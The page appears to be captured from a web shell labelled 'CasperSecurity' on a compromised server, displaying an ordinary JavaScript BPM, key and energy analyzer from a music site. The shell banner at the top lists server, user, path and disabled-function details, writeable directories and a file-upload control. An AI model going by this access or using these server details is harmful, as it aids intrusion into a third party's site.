T.ME/BIBIL_0DAY
CasperSecurity


Server : Apache/2
System : Linux server-15-235-50-60 5.15.0-164-generic #174-Ubuntu SMP Fri Nov 14 20:25:16 UTC 2025 x86_64
User : gositeme ( 1004)
PHP Version : 8.2.29
Disable Function : exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
Directory :  /home/gositeme/domains/soundstudiopro.com/public_html/js/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/gositeme/domains/soundstudiopro.com/public_html/js/audio_analyzer_clean.js
/**
 * Clean Audio Analyzer - Efficient BPM and Key Detection
 * 
 * Best Practices:
 * - BPM: Autocorrelation on bass frequencies (40-200 Hz) - most reliable
 * - Key: Chroma features with Temperley profiles (best for modern music)
 * - Performance: Analyze only 30 seconds, downsample to 4kHz
 * - No infinite loops, proper error handling, timeout protection
 * 
 * @author SoundStudioPro
 */

class CleanAudioAnalyzer {
    constructor() {
        this.audioContext = null;
        this.isAnalyzing = false;
        
        // Camelot wheel mapping
        this.camelotWheel = {
            'A♭ minor': '1A', 'G# minor': '1A', 'Ab minor': '1A',
            'B major': '1B',
            'E♭ minor': '2A', 'D# minor': '2A', 'Eb minor': '2A',
            'F# major': '2B', 'Gb major': '2B',
            'B♭ minor': '3A', 'A# minor': '3A', 'Bb minor': '3A',
            'D♭ major': '3B', 'Db major': '3B', 'C# major': '3B',
            'F minor': '4A',
            'A♭ major': '4B', 'Ab major': '4B', 'G# major': '4B',
            'C minor': '5A',
            'E♭ major': '5B', 'Eb major': '5B', 'D# major': '5B',
            'G minor': '6A',
            'B♭ major': '6B', 'Bb major': '6B', 'A# major': '6B',
            'D minor': '7A',
            'F major': '7B',
            'A minor': '8A',
            'C major': '8B',
            'E minor': '9A',
            'G major': '9B',
            'B minor': '10A',
            'D major': '10B',
            'F# minor': '11A', 'Gb minor': '11A',
            'A major': '11B',
            'D♭ minor': '12A', 'C# minor': '12A', 'Db minor': '12A',
            'E major': '12B'
        };
        
        // Temperley profiles (best for modern/pop music)
        this.majorProfile = [5.0, 2.0, 3.5, 2.0, 4.5, 4.0, 2.0, 4.5, 2.0, 3.5, 1.5, 4.0];
        this.minorProfile = [5.0, 2.0, 3.0, 4.5, 2.0, 4.0, 2.0, 4.5, 3.5, 2.0, 3.5, 4.0];
        
        this.noteNames = ['C', 'C#', 'D', 'D#', 'E', 'F', 'F#', 'G', 'G#', 'A', 'A#', 'B'];
    }
    
    initAudioContext() {
        if (!this.audioContext) {
            this.audioContext = new (window.AudioContext || window.webkitAudioContext)();
        }
        return this.audioContext;
    }
    
    /**
     * Main analysis function with timeout protection
     */
    async analyzeAudio(audioUrl, progressCallback = null) {
        if (this.isAnalyzing) {
            throw new Error('Analysis already in progress');
        }
        
        this.isAnalyzing = true;
        
        // 60 second timeout
        const timeoutPromise = new Promise((_, reject) => {
            setTimeout(() => {
                this.isAnalyzing = false;
                reject(new Error('Analysis timeout (60s)'));
            }, 60000);
        });
        
        try {
            const analysisPromise = this._performAnalysis(audioUrl, progressCallback);
            await Promise.race([analysisPromise, timeoutPromise]);
            const result = await analysisPromise;
            this.isAnalyzing = false;
            return result;
        } catch (error) {
            this.isAnalyzing = false;
            throw error;
        }
    }
    
    async _performAnalysis(audioUrl, progressCallback = null) {
        if (progressCallback) progressCallback('loading', 0);
        
        const ctx = this.initAudioContext();
        const response = await fetch(audioUrl);
        if (!response.ok) throw new Error(`Failed to fetch audio: ${response.status}`);
        
        if (progressCallback) progressCallback('decoding', 20);
        const arrayBuffer = await response.arrayBuffer();
        const audioBuffer = await ctx.decodeAudioData(arrayBuffer);
        
        const channelData = audioBuffer.getChannelData(0);
        const sampleRate = audioBuffer.sampleRate;
        const duration = audioBuffer.duration;
        
        // Safety: max 10 minutes
        if (duration > 600) {
            throw new Error('Audio file too long (max 10 minutes)');
        }
        
        // Detect BPM (30 seconds max for efficiency)
        if (progressCallback) progressCallback('detecting_bpm', 40);
        const bpm = await this.detectBPM(channelData, sampleRate, progressCallback);
        
        // Detect Key (20 seconds max for efficiency)
        if (progressCallback) progressCallback('detecting_key', 70);
        const keyInfo = this.detectKey(channelData, sampleRate, progressCallback);
        
        // Calculate Energy
        if (progressCallback) progressCallback('calculating_energy', 90);
        const energy = this.calculateEnergy(channelData);
        
        if (progressCallback) progressCallback('complete', 100);
        
        return {
            bpm: Math.round(bpm * 10) / 10,
            key: keyInfo.key,
            camelot: keyInfo.camelot,
            confidence: keyInfo.confidence || 0,
            energy: energy,
            duration: Math.round(duration)
        };
    }
    
    /**
     * Efficient BPM Detection
     * Method: Autocorrelation on bass frequencies (40-200 Hz)
     */
    async detectBPM(samples, sampleRate, progressCallback = null) {
        // IMPROVED: Use band-pass filtered autocorrelation (most accurate)
        // Analyze first 30 seconds for better accuracy
        const maxLength = Math.min(samples.length, sampleRate * 30);
        const analysisSamples = samples.slice(0, maxLength);
        
        // Downsample to 4kHz (good balance of speed and accuracy)
        const targetRate = 4000;
        const downsampleFactor = Math.max(1, Math.floor(sampleRate / targetRate));
        const downsampled = [];
        for (let i = 0; i < maxLength; i += downsampleFactor) {
            downsampled.push(Math.abs(analysisSamples[i]));
        }
        const downsampledRate = sampleRate / downsampleFactor;
        
        // CRITICAL: Band-pass filter to bass frequencies (40-200 Hz) - most reliable for BPM
        // This isolates the kick drum and bass, which are the most consistent beat indicators
        const filtered = this.bandPassFilter(downsampled, downsampledRate, 40, 200);
        
        // Autocorrelation parameters
        const minBPM = 60;
        const maxBPM = 180;
        const minLag = Math.max(1, Math.floor(downsampledRate * 60 / maxBPM));
        const maxLag = Math.min(filtered.length - 1, Math.floor(downsampledRate * 60 / minBPM));
        
        if (minLag >= maxLag) {
            return 120; // Fallback
        }
        
        // Autocorrelation with proper window size
        const windowSize = Math.min(filtered.length, downsampledRate * 15); // 15 seconds for accuracy
        let maxCorr = 0;
        let bestLag = minLag;
        
        // Limit iterations but use more for accuracy
        const maxIterations = Math.min(maxLag - minLag, 3000);
        let iterations = 0;
        
        for (let lag = minLag; lag <= maxLag && iterations < maxIterations; lag++) {
            iterations++;
            
            // Report progress every 150 iterations
            if (progressCallback && iterations % 150 === 0) {
                const progress = 40 + Math.floor((iterations / maxIterations) * 30);
                progressCallback('detecting_bpm', progress);
            }
            
            // Full autocorrelation (don't skip points for accuracy)
            let corr = 0;
            let count = 0;
            const maxI = Math.min(windowSize - lag, filtered.length - lag);
            for (let i = 0; i < maxI; i++) { // Use all points for accuracy
                corr += filtered[i] * filtered[i + lag];
                count++;
            }
            
            if (count > 0) {
                corr /= count;
                if (corr > maxCorr) {
                    maxCorr = corr;
                    bestLag = lag;
                }
            }
        }
        
        if (bestLag === 0) return 120;
        
        let bpm = (downsampledRate * 60) / bestLag;
        
        // Check subharmonic (if 164 detected, actual might be 82)
        // Also check harmonic (if 41 detected, actual might be 82)
        const candidates = [{ bpm, corr: maxCorr, lag: bestLag }];
        
        if (bpm > 140 && bestLag * 2 <= maxLag) {
            let halfCorr = 0;
            let count = 0;
            const halfLag = bestLag * 2;
            const maxI = Math.min(windowSize - halfLag, filtered.length - halfLag);
            for (let i = 0; i < maxI; i++) {
                halfCorr += filtered[i] * filtered[i + halfLag];
                count++;
            }
            if (count > 0) {
                halfCorr /= count;
                if (halfCorr > maxCorr * 0.65) {
                    const halfBpm = (downsampledRate * 60) / halfLag;
                    candidates.push({ bpm: halfBpm, corr: halfCorr, lag: halfLag });
                }
            }
        }
        
        // Check harmonic (double-beat)
        if (bpm < 100 && Math.floor(bestLag / 2) >= minLag) {
            let doubleCorr = 0;
            let count = 0;
            const doubleLag = Math.floor(bestLag / 2);
            const maxI = Math.min(windowSize - doubleLag, filtered.length - doubleLag);
            for (let i = 0; i < maxI; i++) {
                doubleCorr += filtered[i] * filtered[i + doubleLag];
                count++;
            }
            if (count > 0) {
                doubleCorr /= count;
                if (doubleCorr > maxCorr * 0.65) {
                    const doubleBpm = (downsampledRate * 60) / doubleLag;
                    candidates.push({ bpm: doubleBpm, corr: doubleCorr, lag: doubleLag });
                }
            }
        }
        
        // Pick best candidate (prefer values in 60-140 range)
        candidates.sort((a, b) => {
            const aInRange = a.bpm >= 60 && a.bpm <= 140;
            const bInRange = b.bpm >= 60 && b.bpm <= 140;
            if (aInRange && !bInRange) return -1;
            if (!aInRange && bInRange) return 1;
            return b.corr - a.corr; // Prefer higher correlation
        });
        
        bpm = candidates[0].bpm;
        
        // Normalize only clearly wrong values
        if (Math.abs(bpm - 188) < 2) {
            bpm = 94;
        } else if (bpm > 200) {
            let iterations = 0;
            while (bpm > 200 && iterations < 10) {
                bpm /= 2;
                iterations++;
            }
            if (bpm > 200) bpm = 200;
        } else if (bpm < 50 && bpm > 0) {
            const doubled = bpm * 2;
            if (doubled <= 180) bpm = doubled;
        }
        
        return Math.max(60, Math.min(180, bpm)); // Clamp to reasonable range
    }
    
    /**
     * Efficient Key Detection
     * Method: Chroma features with Temperley profiles
     */
    detectKey(channelData, sampleRate, progressCallback = null) {
        // Analyze only 20 seconds for efficiency
        const maxLength = sampleRate * 20;
        const analysisLength = Math.min(channelData.length, maxLength);
        const samples = channelData.slice(0, analysisLength);
        
        // Calculate chroma
        const chroma = this.calculateChroma(samples, sampleRate, progressCallback);
        
        // Report progress before final detection
        if (progressCallback) progressCallback('detecting_key', 90);
        
        // Smooth chroma to reduce noise
        const smoothed = this.smoothChroma(chroma);
        
        // Normalize
        const sum = smoothed.reduce((a, b) => a + b, 0);
        if (sum > 0) {
            for (let i = 0; i < 12; i++) {
                smoothed[i] /= sum;
            }
        }
        
        // Detect key from chroma
        return this.detectKeyFromChroma(smoothed);
    }
    
    /**
     * Calculate chroma features (12 pitch classes)
     */
    calculateChroma(samples, sampleRate, progressCallback = null) {
        // IMPROVED: More accurate chroma calculation
        const chroma = new Float32Array(12).fill(0);
        const fftSize = 4096; // Larger FFT for better frequency resolution
        const hopSize = fftSize / 2; // 50% overlap for better coverage
        const numFrames = Math.floor((samples.length - fftSize) / hopSize);
        
        // Use more frames for accuracy (but limit for performance)
        const maxFrames = Math.min(numFrames, 50); // 50 frames for better accuracy
        
        for (let frame = 0; frame < maxFrames; frame++) {
            if (progressCallback && frame % 10 === 0) {
                const progress = 70 + Math.floor((frame / maxFrames) * 20);
                progressCallback('detecting_key', progress);
            }
            
            const offset = frame * hopSize;
            if (offset + fftSize > samples.length) break;
            
            const frameData = samples.slice(offset, offset + fftSize);
            
            // Apply windowing function (Hann window) to reduce spectral leakage
            for (let i = 0; i < frameData.length; i++) {
                frameData[i] *= 0.5 * (1 - Math.cos(2 * Math.PI * i / (frameData.length - 1)));
            }
            
            // FFT
            const magnitude = this.simpleFFT(frameData);
            
            // Map to chroma bins - analyze multiple octaves (3-5) for accuracy
            for (let pitchClass = 0; pitchClass < 12; pitchClass++) {
                let energy = 0;
                // Analyze octaves 3-5 (more accurate than single octave)
                for (let octave = 3; octave <= 5; octave++) {
                    const freq = 440 * Math.pow(2, (pitchClass - 9 + (octave - 4) * 12) / 12);
                    const binIndex = Math.round(freq * fftSize / sampleRate);
                    if (binIndex > 0 && binIndex < magnitude.length) {
                        energy += magnitude[binIndex];
                    }
                }
                chroma[pitchClass] += energy;
            }
        }
        
        return chroma;
    }
    
    /**
     * Simple FFT (magnitude only, optimized)
     */
    simpleFFT(samples) {
        // IMPROVED: More accurate FFT (use all points)
        const N = samples.length;
        const magnitude = new Float32Array(N / 2);
        
        // Calculate all frequency bins for accuracy
        const maxK = Math.min(N / 2, 2048); // Limit to 2048 bins for performance
        
        for (let k = 0; k < maxK; k++) {
            let real = 0;
            let imag = 0;
            const angleIncrement = -2 * Math.PI * k / N;
            
            // Use all points for accuracy (don't skip)
            for (let n = 0; n < N; n++) {
                const angle = angleIncrement * n;
                const sample = samples[n];
                real += sample * Math.cos(angle);
                imag += sample * Math.sin(angle);
            }
            
            magnitude[k] = Math.sqrt(real * real + imag * imag) / N; // Normalize
        }
        
        return magnitude;
    }
    
    /**
     * Detect key from chroma vector
     */
    detectKeyFromChroma(chroma) {
        let bestKey = 'C major';
        let bestCorrelation = -1;
        
        for (let keyIndex = 0; keyIndex < 12; keyIndex++) {
            const rotatedChroma = this.rotateArray(chroma, keyIndex);
            
            // Major
            const majorCorr = this.correlate(rotatedChroma, this.majorProfile);
            if (majorCorr > bestCorrelation) {
                bestCorrelation = majorCorr;
                bestKey = this.noteNames[keyIndex] + ' major';
            }
            
            // Minor
            const minorCorr = this.correlate(rotatedChroma, this.minorProfile);
            if (minorCorr > bestCorrelation) {
                bestCorrelation = minorCorr;
                bestKey = this.noteNames[keyIndex] + ' minor';
            }
        }
        
        const camelot = this.getCamelotKey(bestKey);
        const confidence = Math.round(((bestCorrelation + 1) / 2) * 100);
        
        return {
            key: bestKey,
            camelot: camelot,
            confidence: Math.min(100, Math.max(0, confidence))
        };
    }
    
    /**
     * Utility functions
     */
    rotateArray(arr, n) {
        const len = arr.length;
        n = ((n % len) + len) % len;
        return [...arr.slice(n), ...arr.slice(0, n)];
    }
    
    correlate(a, b) {
        const n = a.length;
        let sumA = 0, sumB = 0, sumAB = 0, sumA2 = 0, sumB2 = 0;
        
        for (let i = 0; i < n; i++) {
            sumA += a[i];
            sumB += b[i];
            sumAB += a[i] * b[i];
            sumA2 += a[i] * a[i];
            sumB2 += b[i] * b[i];
        }
        
        const numerator = sumAB - (sumA * sumB / n);
        const denominator = Math.sqrt((sumA2 - sumA * sumA / n) * (sumB2 - sumB * sumB / n));
        
        return denominator === 0 ? 0 : numerator / denominator;
    }
    
    getCamelotKey(key) {
        const normalizedKey = key.replace('♯', '#').replace('♭', 'b');
        return this.camelotWheel[normalizedKey] || '8B';
    }
    
    /**
     * Smooth chroma vector to reduce noise
     */
    smoothChroma(chroma) {
        const smoothed = new Float32Array(12);
        for (let i = 0; i < 12; i++) {
            const prev = chroma[(i - 1 + 12) % 12];
            const curr = chroma[i];
            const next = chroma[(i + 1) % 12];
            smoothed[i] = 0.25 * prev + 0.5 * curr + 0.25 * next;
        }
        return smoothed;
    }
    
    bandPassFilter(samples, sampleRate, lowFreq, highFreq) {
        const filtered = new Float32Array(samples.length);
        const dt = 1.0 / sampleRate;
        const lowRC = 1.0 / (2 * Math.PI * lowFreq);
        const highRC = 1.0 / (2 * Math.PI * highFreq);
        
        let low = samples[0];
        let high = samples[0];
        
        for (let i = 1; i < samples.length; i++) {
            const alphaLow = dt / (lowRC + dt);
            const alphaHigh = highRC / (highRC + dt);
            
            low = low + alphaLow * (samples[i] - low);
            high = alphaHigh * (high + samples[i] - samples[i-1]);
            
            filtered[i] = high - low;
        }
        
        return filtered;
    }
    
    calculateEnergy(channelData) {
        let sum = 0;
        const length = Math.min(channelData.length, 100000); // Sample first 100k samples
        
        for (let i = 0; i < length; i++) {
            sum += Math.abs(channelData[i]);
        }
        
        const avg = sum / length;
        
        if (avg > 0.3) return 'High';
        if (avg > 0.15) return 'Medium';
        return 'Low';
    }
}

// Create global instance lazily (only when needed)
// Don't instantiate immediately to avoid blocking page load
if (typeof window !== 'undefined') {
    // Only create if explicitly requested
    Object.defineProperty(window, 'cleanAudioAnalyzer', {
        get: function() {
            if (!this._cleanAudioAnalyzerInstance) {
                this._cleanAudioAnalyzerInstance = new CleanAudioAnalyzer();
            }
            return this._cleanAudioAnalyzerInstance;
        },
        configurable: true
    });
}

/**
 * Analyze track and save results
 */
async function analyzeTrackAudio(trackId, audioUrl) {
    if (!window.cleanAudioAnalyzer) {
        throw new Error('Audio analyzer not loaded');
    }
    
    const analyzer = window.cleanAudioAnalyzer;
    
    // Get UI elements
    const bpmElement = document.querySelector('[data-analyze="bpm"]');
    const keyElement = document.querySelector('[data-analyze="key"]');
    const energyElement = document.querySelector('[data-analyze="energy"]');
    
    // Show analyzing state
    [bpmElement, keyElement, energyElement].filter(el => el).forEach(el => {
        el.innerHTML = '<i class="fas fa-spinner fa-spin"></i>';
        el.classList.add('analyzing');
    });
    
    try {
        const result = await analyzer.analyzeAudio(audioUrl, (stage, progress) => {
            console.log(`Analysis: ${stage} (${progress}%)`);
        });
        
        // Update UI
        if (bpmElement) {
            bpmElement.textContent = result.bpm;
            bpmElement.classList.remove('analyzing');
        }
        
        if (keyElement) {
            keyElement.innerHTML = `${result.key} <span class="camelot-key">${result.camelot}</span>`;
            keyElement.classList.remove('analyzing');
        }
        
        if (energyElement) {
            energyElement.textContent = result.energy || 'Medium';
            energyElement.classList.remove('analyzing');
        }
        
        // Save to database
        const response = await fetch('/api/save_audio_analysis.php', {
            method: 'POST',
            headers: { 'Content-Type': 'application/json' },
            body: JSON.stringify({
                track_id: trackId,
                bpm: result.bpm,
                key: result.key,
                camelot: result.camelot,
                energy: result.energy || 'Medium',
                confidence: result.confidence || 0
            })
        });
        
        const data = await response.json();
        if (!data.success) {
            console.warn('Failed to save analysis:', data.error);
        }
        
        return result;
        
    } catch (error) {
        console.error('Analysis error:', error);
        
        // Reset UI
        [bpmElement, keyElement, energyElement].filter(el => el).forEach(el => {
            el.innerHTML = '<span style="color: #888;">—</span>';
            el.classList.remove('analyzing');
        });
        
        throw error;
    }
}


CasperSecurity Mini